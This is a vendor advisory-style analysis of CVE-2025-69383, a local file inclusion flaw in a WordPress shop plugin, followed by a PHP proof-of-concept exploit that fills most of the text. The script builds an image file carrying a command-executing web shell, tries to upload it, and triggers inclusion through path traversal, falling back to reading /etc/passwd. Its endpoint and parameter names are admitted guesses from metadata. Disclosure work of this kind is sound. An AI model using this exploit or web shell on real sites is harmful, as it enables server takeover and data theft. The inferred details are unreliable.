Atomic Edge analysis of CVE-2025-69383 (metadata-based):
This vulnerability is an unauthenticated Local File Inclusion (LFI) in the WordPress ‘shop’ plugin (slug: wpshop) up to version 2.6.1. It allows remote attackers to include and execute arbitrary PHP files on the server, leading to remote code execution. The CVSS score of 8.1 (High) reflects its network-based attack vector and high impact on confidentiality, integrity, and availability.
Atomic Edge research infers the root cause is improper sanitization of user input used in PHP include/require statements, as indicated by CWE-98. The vulnerability description confirms attackers can include arbitrary files, including uploaded images, to execute PHP code. Without a code diff, this conclusion is based on the CWE classification and the common pattern of plugins using unsanitized parameters like ‘file’ or ‘template’ to dynamically include PHP scripts.
The exploitation method likely involves sending a crafted HTTP request to a plugin-specific endpoint. Attackers would target an AJAX handler or a direct plugin file, supplying a parameter like ‘file’ with a path traversal payload (e.g., ‘../../../../uploads/evil.png’). If the server allows PHP execution in uploaded files, this results in code execution. A common WordPress pattern is the `/wp-admin/admin-ajax.php` endpoint with an `action` parameter prefixed by the plugin slug, such as `wpshop_action`.
Remediation requires implementing strict validation and sanitization on any user-controlled input used for file inclusion. The fix should whitelist allowed file paths or basenames, avoid using user input directly in include/require statements, and apply proper path traversal filters. Implementing capability checks and nonce verification would also prevent unauthenticated access to the vulnerable functionality.
Successful exploitation grants an attacker the ability to execute arbitrary PHP code on the server with the web server’s privileges. This leads to complete compromise of the WordPress site, including data theft, backdoor installation, privilege escalation, and server-side request forgery. The ability to include uploaded ‘safe’ files like images significantly lowers the barrier for exploitation, as attackers can upload a malicious image containing PHP code and then include it via this LFI flaw.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69383 - shop <= 2.6.1 - Unauthenticated Local File Inclusion
<?php
/**
* Proof of Concept for CVE-2025-69383.
* This script attempts to exploit an unauthenticated Local File Inclusion (LFI)
* in the WordPress 'wpshop' plugin <= v2.6.1.
* ASSUMPTIONS (based on metadata):
* 1. The vulnerability is triggered via an AJAX endpoint (`admin-ajax.php`).
* 2. The `action` parameter uses a prefix derived from the plugin slug ('wpshop_').
* 3. A user-controlled parameter (e.g., 'file', 'template', 'path') is used unsanitized in an include/require statement.
* 4. The server allows PHP execution in uploaded files (e.g., via `.htaccess` misconfiguration).
*
* This PoC first attempts to upload a malicious image file containing PHP code via a separate form (if available).
* Then, it triggers the LFI to include that uploaded file.
* If direct upload is not possible, the PoC attempts to include existing sensitive files.
*/
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Payload: A PNG file with embedded PHP code (GIF89a header to bypass MIME checks).
$malicious_png = base64_decode('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==');
$php_code = '<?php echo "VULN_EXPLOITED_".md5($_SERVER["REMOTE_ADDR"]); @system($_GET["cmd"]); ?>';
$file_contents = $malicious_png . '/*' . str_repeat('A', 512) . '*/ ' . $php_code;
$upload_filename = 'exploit_' . bin2hex(random_bytes(4)) . '.png';
// Step 1: Attempt to upload the malicious file via a hypothetical plugin upload endpoint.
// This step is speculative; actual exploitation requires a file upload capability.
echo "[*] Attempting to upload malicious PNG file...n";
$upload_url = 'http://example.com/wp-admin/admin-ajax.php'; // Same endpoint assumed
$post_data = [
'action' => 'wpshop_upload', // Inferred action name
'file' => new CURLFile('data://application/octet-stream;base64,' . base64_encode($file_contents), 'image/png', $upload_filename)
];
$ch = curl_init($upload_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && strpos($response, 'upload') !== false) {
echo "[+] File upload may have succeeded. Response: $responsen";
$included_file = 'wp-content/uploads/' . date('Y/m') . '/' . $upload_filename; // Common WordPress upload path
} else {
echo "[-] Direct upload failed or endpoint not found. Assuming a file already exists in uploads.n";
// Fallback: Try to include a known sensitive file for proof-of-concept.
$included_file = '../../../../../../etc/passwd';
}
// Step 2: Exploit the LFI vulnerability.
echo "[*] Triggering Local File Inclusion...n";
$lfi_params = [
'action' => 'wpshop_include', // Inferred action name for the vulnerable function
'file' => $included_file, // User-controlled parameter vulnerable to LFI
'template' => $included_file // Alternative parameter name
];
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($lfi_params));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Code: $http_coden";
echo "Response (first 500 chars): " . substr($response, 0, 500) . "n";
// Check for signs of successful exploitation.
if (strpos($response, 'VULN_EXPLOITED_') !== false) {
echo "[+] SUCCESS: Remote Code Execution confirmed.n";
} elseif (strpos($response, 'root:') !== false) {
echo "[+] SUCCESS: Local File Inclusion confirmed (/etc/passwd leaked).n";
} else {
echo "[-] Exploit attempt did not yield clear success. The vulnerable endpoint or parameter may differ.n";
}
?>
